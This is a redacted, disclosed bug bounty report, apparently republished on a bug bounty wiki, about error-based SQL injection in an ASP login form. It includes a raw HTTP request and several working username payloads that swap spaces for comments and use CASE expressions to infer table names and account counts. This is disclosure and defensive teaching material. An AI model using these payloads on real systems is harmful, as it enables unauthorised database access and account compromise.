SQLi in login form of █████
The login form was vulnerable to SQL injection because user input was inserted into a query without proper sanitisation. An attacker could use error-based techniques to extract database information such as column names, table names, and the number of user accounts.
- Triaged in 23 hours
- Fixed in 14 days
- Disclosed after 15 days
Summary
The following is vulnerable to a sqli, due to a limited char set this is t██████████y to demonstrate and not picked up by sqlmap.
POST /██████████.asp HTTP/█████.████
Host: ███████
Description
POST /██████.asp HTTP/████.███
Host: █████
Connection: close
Content-Length: 45
Cache-Control: max-age=0
Upgr███████e-Insecure-Requests: ███
Origin: https://████
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X █████████0_████5_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4254.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?████████
Sec-Fetch-Dest: document
Referer: https://████████/wireless/index.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: █████████████████
usr='/**/or/**/lastName!='&pwd=██████████
returns a 302 with a login error message, while an invalid column name returns a 500 error message. Note that spaces are not accepted, so I must replace them with /**/.
To summarize:
usr='/**/or/**/lastName!='&pwd=████████ -> 302
usr='/**/or/**/abc!='&pwd=███ -> 500
case error g██████████get (which could be used to exfil data):
usr=asdf'/**/and/**/lastName/**/in/**/(select/**/CASE/**/WHEN/**/(SELECT/**/count(*)/**/FROM/**/accounts)>███0000/**/THEN/**/'a'/**/ELSE/**/███/**/END)/**/and/**/usr!='&pwd=████ -> 302
usr=asdf'/**/and/**/lastName/**/in/**/(select/**/CASE/**/WHEN/**/((SELECT/**/count(*)/**/FROM/**/accounts)<██████0000)/**/THEN/**/'a'/**/ELSE/**/████████/**/END)/**/and/**/usr!='&pwd=████████ -> 500
Using this, we can prove that there are 26 user accounts:
usr=asdf'/**/and/**/lastName/**/in/**/(select/**/CASE/**/WHEN/**/((SELECT/**/count(*)/**/FROM/**/accounts)=500000)/**/THEN/**/'a'/**/ELSE/**/███████/**/END)/**/and/**/usr!='&pwd=████████ -> 302
usr=asdf'/**/and/**/lastName/**/in/**/(select/**/CASE/**/WHEN/**/((SELECT/**/count(*)/**/FROM/**/accounts)=26)/**/THEN/**/'a'/**/ELSE/**/██████████/**/END)/**/and/**/usr!='&pwd=██████ -> 500
I have not exfiltrated any data with the exception of column names, the table name and the fact that there are 26 user accounts in this service.
if you would like me to, I believe I can escalate this to allow me to login to this service, but I am not doing that without permission
Impact
SQLi, likely escalation to full service compromise
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application built SQL queries by concatenating user input without parameterisation or proper escaping.
Impact
An attacker could extract sensitive database information and potentially escalate to full service compromise, though the reporter did not attempt to log in without permission.
What the attacker needed
Access to the login form
How it was found
- Send a login request with a username containing a SQL condition that references a valid column name; observe a 302 redirect with a login error.
- Send a similar request but reference an invalid column name; observe a 500 error, confirming the injection point.
- Use a CASE expression in the username to test a condition about the number of accounts; a true condition yields a 302, a false condition yields a 500.
- Iterate the condition to determine the exact number of user accounts (26).
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when a website puts user input directly into a database command, so an attacker can change the command's meaning. Here, the login form's username field allowed extra SQL code, letting the attacker ask the database questions and see different error responses to learn secret information.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.